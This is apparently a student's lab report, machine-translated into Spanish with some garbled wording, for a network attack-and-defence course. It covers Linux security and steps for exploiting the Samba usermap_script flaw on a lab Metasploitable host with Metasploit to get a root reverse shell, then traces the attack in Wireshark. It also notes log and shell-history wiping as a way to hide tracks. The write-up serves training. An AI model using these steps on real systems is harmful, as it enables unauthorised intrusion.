20199106 2019-2020-2 "Asignación de red y práctica de defensa" Asignación de la semana 8

20199106 2019-2020-2 "Asignación de red y práctica de defensa" Asignación de la semana 8

Descripción del puesto

¿A qué curso pertenece esta tarea? Red de práctica ofensiva y defensiva
¿Cuáles son los requisitos para esta tarea? Octava tarea: sistema operativo Linux ofensivo y defensivo
Mi objetivo en el curso Tener una comprensión relativamente completa de las tecnologías ofensivas y defensivas de la red, y ser capaz de dominar las operaciones ofensivas y defensivas básicas.
¿Qué aspecto específico de esta tarea me ayudó a lograr mi objetivo? Aprendí el conocimiento y el sistema de ataque de red y defensa del sistema Linux.

Tarea

Practica contenido

Marco básico del sistema operativo Linux

  • Las ventajas del sistema operativo Linux : código fuente abierto y soporte gratuito de hardware multiplataforma, soporte de software rico, multitarea multiusuario, seguridad confiable (con firewall, detección de intrusos y herramientas de certificación de seguridad, etc.) para reparar las vulnerabilidades del sistema a tiempo ), Buena estabilidad, función de red perfecta.

  • Estructura del sistema Linux :

  • Proceso de Linux y mecanismo de gestión de subprocesos: el kernel de Linux adopta un modo de multiproceso preventivo multiusuario, múltiples procesos están activos simultáneamente y el módulo de gestión de procesos del núcleo es responsable de programar los recursos de hardware para su uso.
  • Mecanismo de administración de memoria de Linux: el módulo de administración de memoria de Linux permite que múltiples procesos compartan de manera segura el área de memoria física. Cada proceso tiene un espacio de memoria virtual independiente de 4 GB. El código del núcleo y el segmento de datos se asignan a más de 3 GB de espacio. La memoria virtual solicitada por el código de modo de usuario El espacio es de 0-3GB.
  • Mecanismo de administración del sistema de archivos de Linux: el kernel de Linux utiliza el mecanismo VFS de administración de archivos virtuales, que puede admitir docenas de diferentes tipos de sistemas de archivos lógicos.
  • Mecanismo de control de dispositivos Linux: el software que maneja o administra el controlador de hardware en el kernel de Linux se denomina controlador de dispositivo. Linux abstrae el procesamiento de dispositivos. Todos los dispositivos de hardware se tratan como archivos normales. Se admiten tres tipos de dispositivos de hardware: dispositivos de caracteres, dispositivos de bloque y dispositivos de red. Los dispositivos de caracteres leen / escriben directamente sin memorias intermedias; los dispositivos de bloque leen / escriben en unidades de bloques; los dispositivos de red acceden a través de interfaces de red.
  • Mecanismo de red de Linux: el módulo de red en el kernel de Linux proporciona acceso a múltiples estándares de red y soporte para varios hardware de red. La interfaz de red se puede dividir en una pila de protocolos de red y un controlador de red. La pila de protocolos de red es responsable de implementar varios protocolos de transmisión de red posibles, y el controlador de red es responsable de la comunicación con los dispositivos de hardware.
  • Mecanismo de llamada del sistema Linux: el módulo del núcleo anterior se ejecuta en el estado central de la CPU y el programa de aplicación se ejecuta en el estado del usuario. La interfaz de llamada del sistema Linux permite que las aplicaciones accedan a dispositivos de hardware y otros recursos a través de ella, asegurando la estabilidad y seguridad de todo el sistema.

Mecanismo de seguridad del sistema operativo Linux

  • Mecanismo de autenticación de identidad

    • Linux implementa la gestión de identidad de usuario mediante la creación de usuarios y grupos de usuarios con múltiples tipos de roles para garantizar que varios usuarios usen el sistema operativo Linux de manera segura;
    • Clasificación de usuario de Linux: usuario raíz, usuario ordinario, usuario del sistema; la información del usuario se guarda en / etc / passwd;
    • Grupo de usuarios de Linux: es una colección de cuentas de usuario con las mismas características, la información del grupo de usuarios se guarda en el archivo / etc / group del sistema;
    • Linux admite el mecanismo de autenticación de usuario de inicio de sesión local y el mecanismo de autenticación de usuario de inicio de sesión remoto.
    • La autenticación de identidad unificada de Linux middleware-PAM (módulo de autenticación de identidad enchufable), admite cuatro interfaces de administración: administración de autenticación, administración de cuentas, administración de contraseñas, administración de sesiones.
  • Autorización y mecanismo de control de acceso

    • El control de acceso de todos los archivos y recursos del dispositivo se implementa a través del sistema de archivos virtual VFS.
    • En el modelo de seguridad del sistema de archivos virtual de Linux, la autorización del sistema y el control de acceso se llevan a cabo principalmente a través del propietario del archivo, los permisos de acceso a los archivos y algunos bits de permisos especiales.
    • Deficiencia: los usuarios solo se pueden dividir en tres categorías: propietario, grupo de propietarios y otros usuarios para asignar permisos, y no pueden lograr un control de permisos más detallado.
  • Mecanismo de auditoria de seguridad

    • Principalmente logrado a través de tres subsistemas de registro principales:
      • Registro de tiempo de conexión: ejecutado por varios programas, lo que permite a los administradores del sistema seguir quién inició sesión en el sistema cuándo y cuándo.
      • Registro de estadísticas del proceso: cuando finaliza un proceso, escriba un registro en el archivo de estadísticas del proceso para cada proceso.
      • Registro de errores: ejecutado por el servicio de registro general.

Sistema Linux de ataque remoto y tecnología de defensa

  • Proceso de ataque contra el sistema Linux:

    • En primer lugar, el uso de medios técnicos como pisar puntos, escanear y verificar puntos para recopilar información sobre el sistema Linux objetivo;
    • Luego, el atacante desentierra un vacío de seguridad o debilidad de configuración en un servicio de monitoreo de red desde la red remota para obtener derechos de acceso de shell local;
    • Una vez que se obtiene acceso al shell, el atacante se afianza en el sistema Linux objetivo y pasa al ataque local.
  • Ataque de adivinación de contraseña remota de Linux

    • Forma de ataque básica: olfatee los nombres de las cuentas de usuario a través del servicio o use claves internas predeterminadas para algunas cuentas (como Root) para implementar la adivinación de contraseña. Además de los servicios de red de control remoto como SSH, también puede adivinar los servicios de red como HTTP / HTTPS y FTP que tienen sus propios sistemas de cuentas y mecanismos de autenticación de identidad.
    • Herramientas automatizadas de adivinación de contraseña remota: Brutus, THC Hydra, Cain y Abel
    • La mejor defensa: use contraseñas seguras que no sean fáciles de adivinar
    • Medidas prácticas: ejecute servicios que sean vulnerables a ataques de adivinación de contraseñas remotas en puertos no estándar; use algún software de detección y defensa de ataques de adivinación de contraseñas; use las tablas IP de firewall de Linux para limitar el rango de direcciones IP de la fuente de acceso de los servicios de red que son vulnerables a los ataques de adivinación de contraseñas remotas .
  • Ataque de penetración remota del servicio de red Linux

    • El canal de ataque más importante para la penetración remota del sistema es la penetración y explotación de las vulnerabilidades de seguridad del servicio de red.
    • Servicios de red en la solución de construcción del sitio web LAMP: el sistema operativo Linux se utiliza como plataforma de ejecución del servidor del sitio web, Apache proporciona servicios web basados ​​en HTTP / HTTPS, el sistema de gestión de bases de datos MySQL se utiliza como almacenamiento de datos en segundo plano de aplicaciones web y se desarrolla en PHP E implementar aplicaciones web. Precisamente debido a la posición dominante de la solución de combinación LAMP en el servidor web, también hace que el módulo de expansión del servicio en la combinación se convierta en el principal objetivo de penetración de ataque remoto del sistema Linux.
    • FTP, Samba y otros servicios para compartir archivos: FTP se utiliza para el intercambio de archivos y la transmisión compartida, y generalmente monitorea los puertos 20 y 21; Samba escucha en el puerto tcp445.
    • Servicio de envío y recepción de correo electrónico (servicio de envío de correo electrónico): el servicio de envío y recepción de correo electrónico más popular en sistemas similares a UNIX, incluido Linux, es también uno de los servicios de red conocidos e inseguros.
    • Otros servicios de red, como OpenSSH (puerto TCP 22), Open SSL (puerto TCP 443), NFS (puerto tcp / udp2049), SNMP (puerto tcp161 / 162), SUNRPC (puerto tcp111), BIND (puerto tcp / udp53), X-Windows (puerto tcp6000)
    • Precauciones de seguridad: deshabilite los servicios de red innecesarios, intente elegir protocolos de red y software de servicio más seguros, actualice las versiones del servicio de red de manera oportuna, use xinetd, agregue control de acceso a la red para los servicios de red de Linux, establezca un plan de detección de intrusiones y respuesta a emergencias
  • Ataque a los programas y usuarios del cliente Linux

    • Atacar programas cliente en la plataforma Linux: los programas cliente más utilizados para los usuarios de Internet son los navegadores web y los clientes de correo electrónico, el navegador web más popular: el navegador Firefox "Firefox", el software cliente de correo electrónico más popular: Thunderbird "Thunderbird".
    • Atacar a los usuarios de Linux: cuando es difícil romper el servidor, puede utilizar métodos de ingeniería social para obtener información variada del administrador del servidor a través del teléfono, correo electrónico y otros métodos, o dejar que ejecute ciertos programas maliciosos.
    • Medidas preventivas: actualice regularmente el software (apt-get), comprenda la tecnología de ingeniería social y aumente la conciencia de seguridad
  • Ataque a enrutadores y oyentes de Linux

    • Cuando Linux se usa como enrutador o cuando el modo promiscuo está activado, si hay lagunas en el programa que implementa las funciones de enrutamiento y reenvío de paquetes, es probable que sea atacado mediante la construcción de paquetes.
    • Configure ip_forward = 1 para que se ejecute en modo de enrutador, y route.c del subsistema de red implementa las funciones de direccionamiento de enrutador y reenvío de paquetes de datos.
    • Escucha de ataques y detector de intrusos: biblioteca de captura de paquetes Libpcap, programa de línea de comando tcpdump, software de análisis de protocolo y monitoreo de red Wiresahrk, sistema de detección de intrusos Snort. A excepción de libpcap, otros son más o menos defectuosos.
    • Medidas preventivas: los administradores de red deben establecer una sensación de confrontación y juego de seguridad; dominar los métodos de infiltración e intrusión de los atacantes

Sistema Linux tecnología de defensa y ataque de seguridad local

  • escalada de privilegios locales de linux

    • Descifre la contraseña del usuario raíz y luego ejecute el comando su o sudo para actualizar;
    • Descubrir y explotar vulnerabilidades de seguridad en programas su o sudo
    • Ataque en modo de usuario SUID vulnerabilidad de elevación de privilegios: ataque de desbordamiento de búfer local en el programa SUID, ataque de enlace simbólico en el programa SUID, ataque de condición de carrera en el programa SUID, ataque a la biblioteca de funciones compartidas del programa SUID
    • Atacar la escalada de privilegios del código del kernel de Linux
    • Busque y utilice archivos confidenciales de escritura global y ubicaciones de directorio desde el sistema
    • Medidas preventivas: actualización oportuna de código y núcleo privilegiados para reparar vulnerabilidades de seguridad privilegiadas locales; evitar el uso de usuarios root para operaciones diarias, etc.
  • Desaparecer en el sistema Linux

    • El mecanismo principal de registro de auditoría se encuentra en el directorio / var / log, y la función de auditoría de eventos es proporcionada principalmente por el proceso central del sistema, syslogd y varios servicios de red.
    • Cambie el registro de la actividad actual, a menudo vea el contenido del archivo de configuración /etc/syslog.cnf, el sistema registra la autenticación y autorización en /var/log/auth.log, y algunas alarmas del sistema, información y registros de autenticación están en / var / log / archivo de mensajes
    • Limpie el historial de comandos ingresados ​​en el programa Shell (archivo .bash_history)
    • Precauciones: escriba la información de registro en un medio multimedia que sea difícil de modificar; envíe el registro crítico a otro servidor de registro seguro con protección estricta.
  • Programa de puerta trasera de control remoto del sistema Linux

    • Tipos de programas de puerta trasera de control remoto implantados en sistemas Linux: programas de sistema troyano, herramientas de puerta trasera de línea de comandos y herramientas gráficas de puerta trasera.
    • Software de control remoto gráfico VNC
    • Usando la tecnología rootkit para ocultar programas de puerta trasera

Proceso experimental

Práctica práctica: uso de Metasploit para ataques de penetración remota de Linux

Tarea : Utilizando la penetración Metasploit pruebas de software, ataques de aviones no tripulados en Linux Sambaservicios de usermap_scriptvulnerabilidades de seguridad para obtener acceso a los anfitriones aviones blanco Linux. Los pasos prácticos son los siguientes:

1. Inicie el software Metasploit, puede usar uno de msfconsole, msfgui, msfweb según su preferencia personal;

2. Utilice exploit: exploit / multi / samba / usermap_script para penetrar en el módulo de ataque;

3. Elija atacar PAYLOAD como un shell remoto (son posibles las conexiones directas e inversas);

4. Establecer parámetros de ataque de penetración (RHOST, LHOST, TARGET, etc.);

5. Realizar ataques de penetración;

6. Compruebe si el shell remoto se obtuvo correctamente y verifique los permisos obtenidos.

(Samba es un software gratuito que implementa el protocolo smb en sistemas Linux y Unix, y consta de un cliente y un servidor. SMB es un protocolo para compartir archivos e impresoras en una red de área local. Hay un servidor y el cliente puede usar el protocolo para comunicarse Sistema de archivos e impresoras compartidos y otros recursos.A través de la configuración, también puede compartir recursos con computadoras de todo el mundo.

usermap_script se llama script de mapa de nombre de usuario, una vulnerabilidad en el protocolo Samba. Se genera cuando se usa una opción de configuración de script de mapeo de nombre de usuario no predeterminada. Al especificar un nombre de usuario que contiene metacaracteres de shell, un atacante puede ejecutar comandos arbitrarios . )

Ambiente experimental

Ambiente experimental Dirección IP
Máquina de destino: Linux Metasploitable 192.168.200.125
Avión de ataque: kali 192.168.200.2

El proceso experimental es similar a la séptima semana.

1. Use comandos para msfconsoleiniciar el software de penetración

2. search sambaComando para encontrar el módulo que ataca el servicio Samba

3. Comando para use exploit/multi/samba/usermap_scriptusar el módulo de ataque de penetración

4, con una show payloadsvista para atacar el módulo de carga

5. El comando set PAYLOAD cmd/unix/reverseestablece la carga útil de ataque. Esta carga útil está diseñada para admitir una conexión bidireccional. Se usa para show optionsver los parámetros que deben configurarse

6. Establezca la dirección de la máquina atacante y la dirección LHOST set LHOST 192.168.200.2de la máquina de destino RHOST set RHOST 192.168.200.125, use el comando show optionspara ver nuevamente

7. Comando exploitpara atacar, comando para shellabrir el caparazón

8. whomaiVea la cuenta de autoridad actual a través del comando y descubra que la cuenta de autoridad actual se rootobtiene con éxito el sistema operativo de la máquina de destino y la autoridad de control de raíz. Use el comando para ifconfigconfirmar que la dirección IP de la máquina de destino es correcta.

Asignación de práctica: práctica de confrontación ofensiva y defensiva

  • Atacante: utilice Metasploit, seleccione las vulnerabilidades encontradas en la máquina objetivo de Metasploitable para realizar ataques de penetración, obtener control remoto e intentar obtener más permisos de root.

  • Defensor: use tcpdump / wireshark / snort para monitorear y obtener archivos de paquetes de ataque a la red, combinados con wireshark / snort para analizar el proceso de ataque, obtener la IP del atacante, la IP objetivo y el puerto, el tiempo de inicio del ataque, la vulnerabilidad de explotación del ataque, usar Shellcode y el éxito Luego ingrese la información en la línea de comando.

O elija la vulnerabilidad anterior, el proceso de ataque es el mismo que el anterior.
Abra wireshark antes del ataque y vea los paquetes capturados por wireshark

Se puede ver que la dirección IP del atacante es 192.168.200.2, puerto 42395; la IP de destino es 192.168.200.125, puerto 139.

Se puede ver que el ataque usa la vulnerabilidad del puerto 139 (el puerto 139 pertenece al servicio TCP y se usa para el servicio Samba en Unix. Aunque abrir el puerto 139 puede proporcionar un servicio compartido, utilizado principalmente para proporcionar archivos de Windows e impresoras compartidas, a menudo lo usan los atacantes Ataque, puede intentar obtener el nombre de usuario y la contraseña), se puede ver que el ataque utilizó la vulnerabilidad del servicio Samba.

Tiempo de lanzamiento del ataque: 2020.4.22 04:58:23;

Al rastrear el flujo TCP de los paquetes SMB, puede ver que el shellcode utilizado es el siguiente:

Explicación del código:
nohupno hang up, abreviatura para ejecutar comandos sin colgar. Este comando puede continuar ejecutando el proceso correspondiente después de cerrar sesión en la cuenta / cerrar el terminal; shes el comando para ejecutar el shell en Linux y es el intérprete del shell; se sleeputiliza para retrasar la acción actual durante un período de tiempo para telnet 192.168.200.5 4444indicar que los datos están entrando a través del puerto de control y comunicación 4444 Máquina de ataque; /dev/null 2>&1significa redirigir toda la salida estándar y salida de error a / dev / null, descartando toda la información que se generará; la última &es dejar que el comando se ejecute en segundo plano.

El comando ejecutado por el atacante en la máquina de destino después de rastrear el flujo TCP para determinar el éxito del ataque es whoami:ifconfig

Problemas encontrados en el aprendizaje y las soluciones.

Aprendizaje de impresión y experiencia

El proceso de operación de este experimento es relativamente sencillo, pero el proceso de análisis aún no es muy hábil, aún necesita aprender más y practicar.

Supongo que te gusta

Origin www.cnblogs.com/wyrr/p/12758367.html
Recomendado
Clasificación